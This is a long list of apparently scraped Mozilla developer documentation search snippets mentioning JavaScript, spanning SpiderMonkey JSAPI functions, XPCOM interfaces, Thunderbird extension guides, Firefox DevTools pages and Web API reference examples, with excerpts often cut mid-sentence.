obsolete since javascript 1.8.5this feature is obsolete.
JS_LeaveLocalRootScopeWithResult
obsolete since javascript 1.8.5this feature is obsolete.
JS_LockGCThing
js_unlockgcthing removes a lock from a specified item, thing, allowing it to be garbage collected when the javascript engine determines it is unreachable.
JS_MaybeGC
offer the javascript engine an opportunity to perform garbage collection if needed.
JS_NewDateObject
description creates and returns a new jsobject representing a javascript date object, which is pre-configured using the specified values.
JS_NewDateObjectMsec
description the returned jsobject is a standard javascript date.
JS_NewDouble
description js_newdouble allocates a copy of the number d on the javascript garbage collection heap.
JS_NewDoubleValue
on success, *rval receives a javascript number with the value d.
JS_NewGlobalObject
this article covers features introduced in spidermonkey 17 create a new javascript object for use as a global object.
JS_NewPlainObject
this article covers features introduced in spidermonkey 38 creates a new plain javascript object.
JS_NumberValue
description js_numbervalue converts a c floating-point number of type double to js::value, the type of javascript values.
JS_ObjectIsDate
syntax bool js_objectisdate(jscontext *cx, js::handleobject obj); name type description cx jscontext * pointer to a javascript context from which to derive runtime information.
JS_PopArguments
obsolete since javascript 1.8.5this feature is obsolete.
JS_PushArguments
obsolete since javascript 1.8.5this feature is obsolete.
JS_SameValue
the samevalue algorithm is equivalent to the following javascript: function samevalue(v1, v2) { if (v1 === 0 && v2 === 0) return 1 / v1 === 1 / v2; if (v1 !== v1 && v2 !== v2) return true; return v1 === v2; } syntax // added in spidermonkey 45 bool js_samevalue(jscontext *cx, js::handle<js::value> v1, js::handle<js::value> v2, bool *same); // obsolete since jsapi 39 bool js_samevalue(jscontext *cx, jsval v1, jsval v2, bool *same); name type desc...
JS_SealObject
obsolete since javascript 1.8.5this feature is obsolete.
JS_SetCallReturnValue2
obsolete since javascript 1.8.5this feature is obsolete.
JS_SetCheckObjectAccessCallback
this callback is also used to check access to the caller property of function objects (as, for example, when the javascript engine creates a stack trace) and to check access from scripts to properties with scripted getters or setters.
JS_SetElement
it behaves like the javascript expression obj[index] = v.
JS_SetObjectPrincipalsFinder
description js_setobjectprincipalsfinder allows the application to set a callback that the javascript engine uses to obtain an object's principals.
JS_SetParent
the javascript engine relies on this invariant.
JS_SetPrincipalsTranscoder
description js_setprincipalstranscoder sets a runtime-wide callback which the javascript engine uses to serialize and deserialize principals.
JS_ThrowStopIteration
in for…in and for each…in loops, the javascript engine can create an iterator object and call its .next method repeatedly, as described in new in javascript 1.7: iterators.
JS_ValueToInt32
convert a javascript value to a 32-bit signed integer.
OBJECT_TO_JSVAL
syntax jsval object_to_jsval(jsobject *obj); name type description obj jsobject * a pointer to a javascript object to convert to a jsval.
PRIVATE_TO_JSVAL
the javascript engine itself never uses a private data pointer.
Stored value
the javascript engine sets aside a field of type jsval for the stored value of most object properties, even properties that have getters.
jsdouble
arithmetic on jsdouble values in c should behave exactly like the floating-point arithmetic in javascript, except that c and javascript may treat not-a-number values differently.
jsid
a jsid is a javascript identifier for a property or method of an object.
JSDBGAPI
see profiling javascript with shark.
Profiling SpiderMonkey
for the mac, you'll want to read up on profiling javascript with shark.
SavedFrame
it represents a javascript call stack at a past moment of execution.
Thread Sanitizer
building only the javascript shell if you want to build only the javascript shell instead of doing a full firefox build, the build script below will probably help you to do so.
Zest runtimes
the following runtimes are available: java https://github.com/mozilla/zest - this is the reference implementation the following runtimes are planned or an an early stage of implementation: https://github.com/mozilla/zest/tree/master/js javascript https://github.com/darkowlzz/zest-runner https://github.com/darkowlzz/zest-cli - this is the zest-cli of js based runner.
Handling Mozilla Security Bugs
a typical warning will mention the application or module affected, the affected versions, and a workaround (e.g., disabling javascript).
AT APIs Support
gecko can render a variety of content, not just html and supports key web standards such as cascading style sheets, javascript and the w3c dom.
Frecency algorithm
the latter two later ported all of the code from c++ to javascript.
Places
places utilities for javascript a library of convenient routines that make it easier to work with places.
STEEL
objects extiapplication objects extiapplication exticonsole extieventitem extieventlistener extievents extiextension extiextensions extipreference extipreferencebranch extisessionstorage steeliapplication objects steeliapplication xpcom although the steel steeliapplication object is preloaded into xul scripts, it is not preloaded into javascript xpcom code.
extIApplication
xpcom although the application object is preloaded into xul scripts, it is not preloaded into javascript xpcom code.
Fun With XBL and XPConnect
once the regular xul textfield widget is bound to this interface, it calls the auto complete function of the object using regular javascript.
Creating the Component Code
component registration all xpcom components - whether they're stored in shared libraries (dlls, dsos, dylibs), javascript files, or otherwise - need to be registered before they can be used.
Finishing the Component
the next chapter looks at how to tie this into the front end - specifically, how to use xpconnect to access and control this component from javascript in the user interface.
Setting up the Gecko SDK
now you can use this component in your javascript extension.
Introduction to XPCOM for the DOM
your methods will not be available from javascript, however, because nsidomfabian is not in the class info.
Components.classes
if the given element in the components.classes object is not registered on the machine then trying to access it will generate a javascript warning in strict mode and the value returned will be the javascript value undefined.
Components.interfacesByID
the interfaces which xpconnect is capable of reflecting into javascript.
Components.isSuccessCode
components.issuccesscode() is functionally equivalent to the following javascript: function issuccesscode(returncode) { return (returncode & 0x80000000) === 0; } since failure error codes are turned into exceptions when encountered in javascript, this function usually is not necessary.
Components.lastResult
this is because failure result codes get converted by xpconnect into exceptions that are thrown into the calling javascript method.
Components.results
usage implementing nsisupports the standard nsisupports is usually implemented in javascript by using components.results to get a failure return value if does not implement the given interface.
Components.stack
components.stack is a read only property of type nsistackframe (idl definition) that represents a snapshot of the current javascript callstack.
Components.utils.createObjectIn
components.utils.createobjectin creates a new javascript object in the scope of the specified object's compartment.
Components.utils.evalInWindow
this function enables code running in a more-privileged javascript context to evaluate a string in a less-privileged javascript context.
Components.utils.exportFunction
for the full details refer to the documentation for xray vision, but for example: functions are not visible in the xrays of javascript object types.
Components.utils.isXrayWrapper
when privileged javascript in gecko accesses objects belonging to less-privileged code (such as untrusted web content), it does so, by default, with "xray vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways.
Components.utils.waiveXrays
when privileged javascript in gecko accesses objects belonging to less-privileged code (such as untrusted web content), it does so, by default, with "xray vision": a mechanism that filters out certain changes to the objects that could cause them to behave in unexpected ways.
Other Resources
other resources embedding mozilla xpconnect - javascript-xpcom bridge blackconnect - java-xpcom bridge (no longer supported) xpidl to java types - from blackconnect ...
JavaXPCOM
javaxpcom is very similar to xpconnect (javascript-xpcom bridge), and uses xpidl.
Using components
commonly, we start our scripts like so: var cc = components.classes; var ci = components.interfaces; if we want to get a hold of a component, we then do something like: var rc = cc["@mozilla.org/registry;1"]; var rs = rc.getservice(ci.nsiregistry); see also: xpcshell -- how to get a command line interface to javascript more info as was already stated, it is common to start addon scripts like: var cc = components.classes; var ci = components.interfaces; there is also another way to start, which is exactly equivalent to the above.
Profiling XPCShell
introduction sometimes, you might want to get a performance profile of a certain piece of javascript (like an xpcom module), to see which part takes the most time.
jsdIStackFrame
methods eval() evaluate arbitrary javascript in this stack frame.
mozIAsyncFavicons
as an alternative, you can just use placesutils.favicons from javascript.
mozIPlacesAutoComplete
behavior_javascript 1 << 6 search javascript: urls.
mozIStorageAggregateFunction
javascript // first, create our object that will represent our function.
mozIStorageFunction
javascript starting in gecko 1.9.1.4 (firefox 3.0.15), you can directly pass your function into the mozistorageconnection method mozistorageconnection, like this: dbconn.createfunction("square", 1, function(aarguments) { let value = aarguments.getint32(0); return value * value; }); // run some query that uses the function.
nsIAlertsService
note: if you are calling this function from javascript, you should wrap it in a try/catch because it can fail on mac os x prior to firefox 22.
nsIBinaryInputStream
warning: this method is available from javascript; however javascript does not support 64-bit integers.
nsIBlocklistPrompt
these are javascript objects with properties: name - the plugin or extension name version - the version of the extension or plugin icon - the plugin or extension icon disable - can be used by the nsiblocklistprompt to allows users to decide whether a soft-blocked add-on should be disabled blocked - true if the item is hard-blocked, false otherwise item - the nsiplugintag or addon object ...
nsIBrowserSearchService
in javascript, this observer can be a regular function.
nsICategoryManager
elem; cats->getnext(getter_addrefs(elem)); nscomptr<nsisupportscstring> category = do_queryinterface(elem, &rv); if (ns_failed(rv)) break; nsembedcstring categoryname; rv = category->getdata(categoryname); if (ns_failed(rv)) break; printf("%s\n", categoryname.get()); } return ns_ok; } this snippet shows how to print out a list of all categories in javascript.
nsIClassInfo
for example, if asked for the helper for nsiprogramminglanguage::javascript this might return an object that can be nsisupports.queryinterface()'d into the nsixpcscriptable interface to assist xpconnect in supplying javascript specific behavior to callers of the instance object.
nsIConsoleService
note: to guard against stack overflows from listeners which could log messages (this could be done inadvertently through listeners implemented in javascript), we do not call any listeners when another error is already being logged.
nsIContentPrefService
if desired, javascript callers can instead provide a function to call upon completion.
nsICookie
an optional interface for accessing the http or javascript cookie object.
nsICookieManager2
last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsicookiemanager this interface is included in the services.jsm javascript code module.
nsIDOMHTMLAudioElement
unsigned long mozwriteaudio( in jsval data ); parameters data the samples to write into the audio stream, specified either as a javascript array or as a numeric typed array.
nsIDOMProgressEvent
methods initprogressevent() deprecated since gecko 22.0 this method has been removed from use in javascript in gecko 22.0.
nsIDOMWindowInternal
it provides many of the common functions used in javascript such as alert() or open().
nsIDOMXPathEvaluator
see also introduction to using xpath in javascript document.evaluate dom level 3 xpath specification xml path language (xpath)rec nsidomxpathresult nsidomxpathexception ...
nsIDOMXPathException
see also introduction to using xpath in javascript document object model (dom) level 3 xpath specification nsidomxpathevaluator document.evaluate nsidomxpathresult ...
nsIDOMXPathExpression
see also introduction to using xpath in javascript nsidomxpathevaluator document.evaluate document object model (dom) level 3 xpath specification nsidomxpathresult ...
nsIDOMXPathResult
see also introduction to using xpath in javascript document object model (dom) level 3 xpath specification nsidomxpathevaluator document.evaluate nsidomxpathexception ...
nsIDebug
xpcom/base/nsidebug.idlscriptable provides debugging support for scripted languages, such as javascript, java, python, perl, and so forth.
nsIEventListenerInfo
this approach is necessary because event listeners added with addeventlistener won't necessarily be nsieventlisteners; the dom code will fix up ordinary javascript functions to act as listeners.
nsIFeedContainer
this string is parsable by javascript and mail code.
nsIFeedEntry
this date is parsable by both javascript (via date.parse()) and mail code.
nsIFrameMessageListener
method overview void receivemessage(); methods receivemessage() note: this method is for javascript only.
nsIHttpHeaderVisitor
it implements the nsihttpheadervisitor interface in javascript and uses it to evaluate the mime type of a http response.
nsIInputStream
see also nsiwritesegmentfun nsiscriptableinputstream - if you need to read a stream from javascript.
nsILoginManagerStorage
remarks for methods returning count, javascript callers can simply use the length property on the returned array to find out how many logins were returned in the array, for example: var logins = pwmgr.searchlogins({}, matchdata); var numlogins = logins.length; see also creating a login manager storage module nsiloginmanager ...
nsIMemoryReporterManager
this reporter is special-cased because it is interesting, and is moderately difficult to compute in javascript.
nsIMsgWindowCommands
inherits from: nsisupports last changed in gecko 1.9 (firefox 3) the javascript implementation of this used by thunderbird is given here.
nsINavHistoryQuery
javascript date objects are expressed in milliseconds since 1 jan 1970.
nsIObserverService
see nsiobserver for a javascript example.
nsIOutputStream
note: though this method is scriptable, javascript code must only pass an ascii character string as the abuf parameter.
nsIPrivateBrowsingService
to get access to the service from javascript, use: var pbs = components.classes["@mozilla.org/privatebrowsing;1"] .getservice(components.interfaces.nsiprivatebrowsingservice); c++ callers should use the contract id @mozilla.org/privatebrowsing-wrapper;1 instead.
nsIProgrammingLanguage
constant value description unknown 0 cplusplus 1 c++ javascript 2 javascript python 3 python perl 4 perl java 5 java zx81_basic 6 zx81 basic javascript2 7 javascript 2 ruby 8 ruby php 9 php tcl 10 tcl max 10 this will be kept at the largest index.
nsIProtocolHandler
uri_norelative 1<<0 the protocol doesn't support relative uris (for example, about and javascript).
nsIServiceManager
in some language bindings, such as javascript, this step is unnecessary.
nsISessionStartup
state jsval the session state, as a javascript object.
nsIStringBundle
alternatively, a string bundle can be created within a javascript context with nsistringbundleservice.
nsIStringBundleService
see also code snippets : miscellaneous : using string bundles from javascript how to localize html pages, xul files, and js/jsm files from bootstrapped add-ons.
nsIToolkitProfile
note: the unlocker object cannot be returned to javascript as the error causes an exception to be thrown.
nsITraceableChannel
example this example can be copied and pasted into a javascript interpreter and run.
nsITransferable
to get the appropriate load context in javascript callers, one needs to get to the document that the transferable corresponds to, and then get the load context from the document like this: var loadcontext = doc.defaultview.queryinterface(ci.nsiinterfacerequestor) .getinterface(ci.nsiwebnavigation) .queryinterface(ci.nsiloadcontext); in c++ callers, if you have the corresponding document, you can just call ns...
nsIWebNavigation
this includes animated images, plugins and pending javascript timeouts.
nsIWindowMediator
in fact, those methods usually (always?) return a chromewindow object, implementing both of those interfaces and a few others, when called from javascript code.
nsIWindowWatcher
note: this method may examine the javascript context stack for purposes of determining the security context to use for the search for a given window named aname.
nsIXPCScriptable
it allows the object to implement the for..in enumeration in javascript.
Setting HTTP request headers
if you want to support gecko2 (firefox4) you need to register your javascript component as described here: https://developer.mozilla.org/en/xpcom/xpcom_changes_in_gecko_2.0#javascript_components.
The Thread Manager
application/extension javascript should consider using a chromeworker instead.") interfaces there are several interfaces that provide threading support: nsithreadmanager the thread manager itself lets you create threads.
Using nsIDirectoryService
c++ nscomptr<nsifile> dir; ns_getspecialdirectory(prop, getter_addrefs(dir)); if (!dir) return ns_error_failure; javascript: var file = components.classes["@mozilla.org/file/directory_service;1"] .getservice(components.interfaces.nsiproperties) .get("profd", components.interfaces.nsifile); (the example is taken from the code snippets section of this site.) adding a location: there are currently two ways to add a file location to the directory service: directly and delayed.
Using nsISimpleEnumerator
using nsisimpleenumerator <stringbundle>.strings var enumerator = document.getelementbyid('astringbundleid').strings; var s = ""; while (enumerator.hasmoreelements()) { var property = enumerator.getnext().queryinterface(components.interfaces.nsipropertyelement); s += property.key + ' = ' + property.value + ';\n'; } alert(s); example using javascript 1.7 features // creates a generator iterating over enum's values function generatorfromsimpleenumerator(enum, interface) { while (enum.hasmoreelements()) { yield enum.getnext().queryinterface(interface); } } var b = document.getelementbyid("stringbundleset").firstchild var props = generatorfromenumerator(b.strings, components.interfaces.nsipropertyelement); var s = ""; for (let property in props) { s += property.key + ' = ' ...
Weak reference
in javascript, just make sure that your queryinterface method returns your object for the nsisupportsweakreference interface, and you're set; xpconnect does all the work for you.
xptcall FAQ
xpconnect uses information from typelib files to reflect arbitrary xpcom interfaces into javascript and to make calls from javascript to xpcom using xptc_invokebyindex.
Xptcall Porting Guide
this code is primarily used to connect xpcom components with javascript; function call overhead is a tiny part of the time involved.
XTF
MozillaTechXTF
the extensible tag framework (xtf) allows adding support for new namespaces using xpcom components to mozilla (written in javascript or c++).
XUL Overlays
MozillaTechXULOverlays
attaching a script to an overlay to execute a script when an overlay is applied, use a <script> element: <script src="overlay.js"/> if you need to set the version of javascript, you can set the type attribute: <script type="application/x-javascript;version=1.8" src="overlay.js"/> ui reuse with overlays one of the biggest benefits of using overlays is that it allows you to reuse groups of elements that appear frequently in the ui.
Creating a gloda message query
the date instances are javascript date instances.
Mail client architecture overview
the mail reader gecko (xul and html rendering) rdf (dynamic widgets) js (menus, events) libmime mail datasources mail javascript folder/message management msgdb imap/nntp/pop3 necko (networking) sections in grey refer to modules outside of mail/news the base module the base module provides a generic interface to a set of protocol-independant messaging services.
Mail composition back end
this will change in the coming weeks and allow for developers to write javascript to take advantage of the back end services.
Thunderbird Configuration Files
$ cd $profile # where $profile is your profile folder $ touch user.js # create the empty javascript file alternatively, open a files window (if you're on ubuntu.
Adding items to the Folder Pane
the result is a javascript file that will add a "numbers" container to the end of thunderbird's "all folders" mode.
Activity Manager examples
itted event.init(folder.prettiestname + " is processed", null, "no junk found", process.starttime, // start time date.now()); // completion time event.contexttype = process.contexttype; // optional event.contextobj = process.contextobj; // optional gactivitymanager.addactivity(event); showing a user-defined activity with cancel capability (javascript) this sample improves the previous one by providing an nsiactivitycancelhandler to allow the user to cancel the process.
Access StringBundle from Overlay
the most efficient way to append these strings is by attaching them to an existing stringbundleset as such: <stringbundleset id="stringbundleset"> <stringbundle src="chrome://your_extension/locale/overlay.properties" id="your-extension-strings" /> </stringbundleset> now that your stringbundle is attached you can access it from javascript as follows: var str = document.getelementbyid("your-extension-strings"); //get the stringbundle object itself str.getstring("propertyname"); //get a string (and do something with it) alternative way let stringbundleservice = cc["@mozilla.org/intl/stringbundle;1"].getservice(ci.nsistringbundleservice); let bundle = stringbundleservice.createbundle("chrome://yo...
Access Window
since window is a global variable you can use it directly from your javascript file.
Add Toolbar Button
example xul overlay file: <?xml version="1.0"?> <?xml-stylesheet href="chrome://demo/skin/overlay.css" type="text/css" ?> <overlay id="messengerwindow" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <script type="application/x-javascript" src="overlay.js" /> <toolbarpalette id="mailtoolbarpalette"> <toolbarbutton id="demo-button" class="demo-button toolbarbutton-1" label="demo" type="button" oncommand="demo.load();" /> </toolbarpalette> </overlay> add this to the css file you referenced in your xul file: #demo-button, [place="palette"] > #demo-button { list-style-image: url("chrome://demo/skin/icon.png") !important; } ...
Filter Incoming Mail
by example, to modify the mail subject : var newmaillistener = { msgadded: function(amsghdr) { if( !amsghdr.isread ) { // here we are, a new mail has popped // let get a javascript string object from the subject property // querying mime conversion interface var mimeconvert = components.classes["@mozilla.org/messenger/mimeconverter;1"] .getservice(components.interfaces.nsimimeconverter); var subject = mimeconvert.decodemimeheader(amsghdr.subject, null, false, true); // here with have a string to modify with javascript.
Thunderbird extensions
on thunderbird community / communications thunderbird specific : add-ons section on developer.thunderbird.net thunderbird communication channels add-on developers forum/mailing list #maildev irc channel more general : mozillazine extension development forum general developer channels related topics xul, javascript, xpcom, themes, developing mozilla categori ...
Using popup notifications
creating a popup notification popup notifications can be created using the popupnotifications.jsm javascript code module.
Using COM from js-ctypes
basis and reference for this article bugzilla :: bug 738501 - implement ability to create windows shortcuts from javascript - comment 4 relavent topic bugzilla :: bug 505907 - support c++ calling from jsctypes converting com code to c code to convert com code to js-ctypes, we need to write c++ vtable pointers in c.
Declaring and Calling Functions
returned values if the return type can fit into a javascript number without loss (that is, it's a number 32 bits or smaller, or is a double or float), then the function just return a javascript number.
ABI
return value a javascript expression that evaluates to the abi.
PointerType
value object the javascript equivalent of the cdata object's value.
Scripting plugins - Plugins
the same thing applies the other way too; the plugin can reach only javascript objects in the same origin as the page that loaded the plugin.
DOM Inspector FAQ - Firefox Developer Tools
the dom inspector's search uses javascript regexps to find nodes for tag and attribute searches, and will do partial matching.
Debug worker threads - Firefox Developer Tools
you can open the javascript file for the worker process and set breakpoints and logpoints just as you can with javascript code running on the main thread.
Debug eval sources - Firefox Developer Tools
you can debug javascript code that is evaluated dynamically, either as a string passed to eval() or as a string passed to the function constructor.
Pretty-print a minified file - Firefox Developer Tools
note: if you want to prettify some inline javascript code, just double click the code in the inspector pane.
Search - Firefox Developer Tools
the debugger will display the number of matches in the code and highlight each result: using the outline tab if you are searching for a specific function within the current javascript file, you can use the outline tab in the debugger to find it quickly.
Set a breakpoint - Firefox Developer Tools
breakpoints in brief breakpoints are very useful when debugging javascript — you basically set a point in your code where you would like execution of the code to pause.
Use watchpoints - Firefox Developer Tools
when debugging javascript code, it can be useful to know when properties on objects are read or modified.
Tutorial: Set a breakpoint - Firefox Developer Tools
since the debugger api is only available to privileged javascript code, you’ll need to use the browser content toolbox to try it out.
Monster example - Firefox Developer Tools
so the structure of the memory allocated on the javascript heap is an object containing three arrays, each containing 5000 objects (monsters), each object containing a string and two integers: ...
Network request details - Firefox Developer Tools
cache-control", "value": "private, must-revalidate, max-age=0" }, { "name": "content-disposition", "value": "inline; filename=api-result.js" }, { "name": "content-encoding", "value": "gzip" }, { "name": "content-length", "value": "673" }, { "name": "content-type", "value": "text/javascript; charset=utf-8" }, { "name": "date", "value": "tue, 11 jun 2019 13:01:39 gmt" }, { "name": "mediawiki-login-suppressed", "value": "true" }, { "name": "p3p", "value": "cp=\"this is not a p3p policy!
Network request list - Firefox Developer Tools
mime-type:text/html mime-type:image/png mime-type:application/javascript is is:cached and is:from-cache shows only resources coming from cache.
Animation inspector example: CSS transitions - Firefox Developer Tools
sform 750ms ease-in, filter 750ms ease-in-out; } .note { margin-left: 1em; font: 1.5em "open sans",arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; transition: opacity 500ms 150ms, width 500ms 150ms; } .icon#selected { filter: grayscale(0%); transform: scale(1.5); } .icon#selected+span { opacity: 1; width: 300px; } javascript content function toggleselection(e) { if (e.button != 0) { return; } if (e.target.classlist.contains("icon")) { var wasselected = (e.target.getattribute("id") == "selected"); clearselection(); if (!wasselected) { e.target.setattribute("id", "selected"); } } } function clearselection() { var selected = document.getelementbyid("selected"); if (selected) { ...
Animation inspector example: Web Animations API - Firefox Developer Tools
nel { padding: 2em; margin: 0.5em; box-shadow: 1px 1px 5px #808080; margin: 1.5em; } .channel > * { vertical-align: middle; line-height: normal; } #icon { width: 50px; height: 50px; filter: grayscale(100%); } #note { margin-left: 1em; font: 1.5em "open sans",arial,sans-serif; overflow: hidden; white-space: nowrap; display: inline-block; opacity: 0; width: 0; } javascript content var iconkeyframeset = [ { transform: 'scale(1)', filter: 'grayscale(100%)'}, { filter: 'grayscale(100%)', offset: 0.333}, { transform: 'scale(1.5)', offset: 0.666 }, { transform: 'scale(1.5)', filter: 'grayscale(0%)'} ]; var notekeyframeset = [ { opacity: '0', width: '0'}, { opacity: '1', width: '300px'} ]; var iconkeyframeoptions = { duration: 750, fill: 'forwards', ...
Sorting algorithms comparison - Firefox Developer Tools
// (generate random array, then call sort) x 200 -> sort() // sort with each algorithm, log the result -> bubblesort() -> swap() -> selectionsort() -> swap() -> quicksort() -> partition() the implementations of the sorting algorithms in the program are taken from https://github.com/nzakas/computer-science-in-javascript/ and are used under the mit license.
Animating CSS properties - Firefox Developer Tools
compared with animating elements using javascript, css animations can be easier to create.
Settings - Firefox Developer Tools
disable javascript reload the current tab with javascript disabled.
about:debugging (before Firefox 68) - Firefox Developer Tools
clicking "debug" connects the javascript debugger and console to this worker.
AddressErrors - Web APIs
javascript payment request data first, we declare the variables supportedhandlers, which is compatible with paymentmethoddata, and defaultpaymentdetails, which is a paymentdetailsupdate object.
Animation.updatePlaybackRate() - Web APIs
in some cases, an animation may run on a separate thread or process and will continue updating even while long-running javascript delays the main thread.
Animation - Web APIs
WebAPIAnimation
the related javascript features are: animation.commitstyles() for commiting the end styling state of an animation to the element being animated, even after that animation has been removed.
ArrayBufferView - Web APIs
arraybufferview is a helper type representing any of the following javascript typedarray types: int8array, uint8array, uint8clampedarray, int16array, uint16array, int32array, uint32array, float32array, float64array or dataview.
Attr.localName - Web APIs
WebAPIAttrlocalName
html content <button id="example">click me</button> javascript content const element = document.queryselector("#example"); element.addeventlistener("click", function() { const attribute = element.attributes[0]; alert(attribute.localname); }); notes the local name of an attribute is the part of the attribute's qualified name that comes after the colon.
AudioTrack.enabled - Web APIs
the element's audio tracks are then scanned through using the javascript foreach() method (although the audiotracks property of a media element isn't actually a javascript array, it can be accessed like one for the most part).
AudioWorkletNode() - Web APIs
the audioworkletnode() constructor creates a new audioworkletnode object, which represents an audionode that uses a javascript function to perform custom audio processing.
AuthenticatorResponse.clientDataJSON - Web APIs
properties after the clientdatajson object is converted from an arraybuffer to a javascript object, it will have the following properties: type a string which is either "webauthn.get" when an existing credential is retrieved or "webauthn.create" when a new credential is created.
BaseAudioContext.createStereoPanner() - Web APIs
in the javascript we create a mediaelementaudiosourcenode and a stereopannernode, and connect the two together using the connect() method.
BasicCardRequest - Web APIs
the basiccardrequest dictionary is a javascript object-structure that can be used in the payment request api.
BatteryManager.charging - Web APIs
example html content <div id="charging">(charging state unknown)</div> javascript content navigator.getbattery().then(function(battery) { var charging = battery.charging; document.queryselector('#charging').textcontent = charging ; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.chargingTime - Web APIs
example html content <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { var time = battery.chargingtime; document.queryselector('#chargingtime').textcontent = battery.chargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.dischargingTime - Web APIs
example html content <div id="dischargingtime">(discharging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { var time = battery.dischargingtime; document.queryselector('#dischargingtime').textcontent = battery.dischargingtime; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.level - Web APIs
example html content <div id="level">(battery level unknown)</div> javascript content navigator.getbattery().then(function(battery) { var level = battery.level; document.queryselector('#level').textcontent = level; }); specifications specification status comment battery status api candidate recommendation initial definition ...
BatteryManager.onchargingchange - Web APIs
example html content <div id="level">(battery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.onchargingchange = chargingchange(); function chargingchange() { document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment battery status api can...
BatteryManager.onchargingtimechange - Web APIs
example html content <div id="level">(battery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.onchargingtimechange = chargingtimechange(); function chargingtimechange(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment batter...
BatteryManager.ondischargingtimechange - Web APIs
example html content <div id="level">(battery level unknown)</div> <div id="chargingtime">(charging time unknown)</div> javascript content navigator.getbattery().then(function(battery) { battery.ondischargingtimechange = dischargingtimechange; function dischargingtimechange(){ document.queryselector('#level').textcontent = battery.level; document.queryselector('#chargingtime').textcontent = battery.chargingtime; } }); specifications specification status comment ...
BatteryManager.onlevelchange - Web APIs
example html <div id="level">(battery level unknown)</div> <div id="statebaterry">(charging state unknown)</div> javascript navigator.getbattery().then(function(battery) { battery.onlevelchange = function(){ document.queryselector('#level').textcontent = battery.level; if(battery.charging) { document.queryselector('#statebaterry').textcontent = "charging time: " + (battery.chargingtime / 60); } else { document.queryselector('#statebaterry').textcontent = "discharging...
BiquadFilterNode.getFrequencyResponse() - Web APIs
de and phase values: var myfrequencyarray = new float32array(5); myfrequencyarray[0] = 1000; myfrequencyarray[1] = 2000; myfrequencyarray[2] = 3000; myfrequencyarray[3] = 4000; myfrequencyarray[4] = 5000; var magresponseoutput = new float32array(5); var phaseresponseoutput = new float32array(5); next we create a <ul> element in our html to contain our results, and grab a reference to it in our javascript: <p>biquad filter frequency response for: </p> <ul class="freq-response-output"> </ul> var freqresponseoutput = document.queryselector('.freq-response-output'); finally, after creating our biquad filter, we use getfrequencyresponse() to generate the response data and put it in our arrays, then loop through each data set and output them in a human-readable list at the bottom of the page: var ...
BlobBuilder - Web APIs
method overview void append(in arraybuffer data); void append(in blob data); void append(in string data, [optional] in string endings); blob getblob([optional] in domstring contenttype); file getfile(in domstring name, [optional] in domstring contenttype); methods append() appends the contents of the specified javascript object to the blob being built.
Body.json() - Web APIs
WebAPIBodyjson
return value a promise that resolves to a javascript object.
ByteString - Web APIs
bytestring maps to a string when returned in javascript; generally, it's only used when interfacing with protocols that use bytes and strings interchangably, such as http.
CSSMathSum - Web APIs
<div>has width</div> we assign a width div { width: calc(30% - 20px); } we add the javascript const stylemap = document.queryselector('div').computedstylemap(); console.log( stylemap.get('width') ); // cssmathsum {values: cssnumericarray, operator: "sum"} console.log( stylemap.get('width').operator ); // 'sum' console.log( stylemap.get('width').values ); // cssnumericarray {0: cssunitvalue, 1: cssunitvalue, length: 2} console.log( stylemap.get('width')...
CSSMathValue.operator - Web APIs
<div>my width has a <code>calc()</code> function</div> we assign a width with a calculation div { width: calc(50% - 0.5vw); } we add the javascript const stylemap = document.queryselector('div').computedstylemap(); console.log( stylemap.get('width') ); // cssmathsum {values: cssnumericarray, operator: "sum"} console.log( stylemap.get('width').values ); // cssnumericarray {0: cssunitvalue, 1: cssmathnegate, length: 2} console.log( stylemap.get('width').operator ); // 'sum' console.log( stylemap.get('wid...
CSSMathValue - Web APIs
<div>has width</div> we assign a width with a calculation div { width: calc(30% - 20px); } we add the javascript const stylemap = document.queryselector('div').computedstylemap(); console.log( stylemap.get('width') ); // cssmathsum {values: cssnumericarray, operator: "sum"} console.log( stylemap.get('width').operator ); // 'sum' console.log( stylemap.get('width').values[1].value ); // -20 the cssmathvalue.operator returns 'sum' because stylemap.get('width').values[1].value );...
CSSStyleDeclaration.getPropertyCSSValue() - Web APIs
example the following javascript code gets an object containing the computed rgb values of the color css property: var style = window.getcomputedstyle(elem, null); var rgbobj = style.getpropertycssvalue('color').getrgbcolorvalue(); specifications specification status comment document object model (dom) level 2 style specificationthe definition of 'cssstyledeclaration' in that specification.
CSSStyleDeclaration.getPropertyPriority() - Web APIs
example the following javascript code checks whether margin is marked as important in a css selector rule: var declaration = document.stylesheets[0].cssrules[0].style; var isimportant = declaration.getpropertypriority('margin') === 'important'; specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.getpropertypriority()' in that specification.
CSSStyleDeclaration.getPropertyValue() - Web APIs
example the following javascript code queries the value of the margin property in a css selector rule: var declaration = document.stylesheets[0].cssrules[0].style; var value = declaration.getpropertyvalue('margin'); // "1px 2px" specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.getpropertyvalue()' in that specification.
CSSStyleDeclaration.item() - Web APIs
javascript has a special simpler syntax for obtaining an item from a nodelist by index: var propertyname = style[index]; example var style = document.getelementbyid('div1').style; var propertyname = style.item(1); // or simply style[1] - returns the second style listed specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration...
CSSStyleDeclaration.length - Web APIs
example the following gets the number of explicitly set styles on the following html element: <div id="div1" style="margin: 0 10px; background-color: #ca1; font-family: monospace"></div> javascript code: var mydiv = document.getelementbyid('div1'); var divstyle = mydiv.style; var len = divstyle.length; // 6 specifications specification status comment css object model (cssom)the definition of 'cssstyledeclaration.length' in that specification.
CSSStyleDeclaration.parentRule - Web APIs
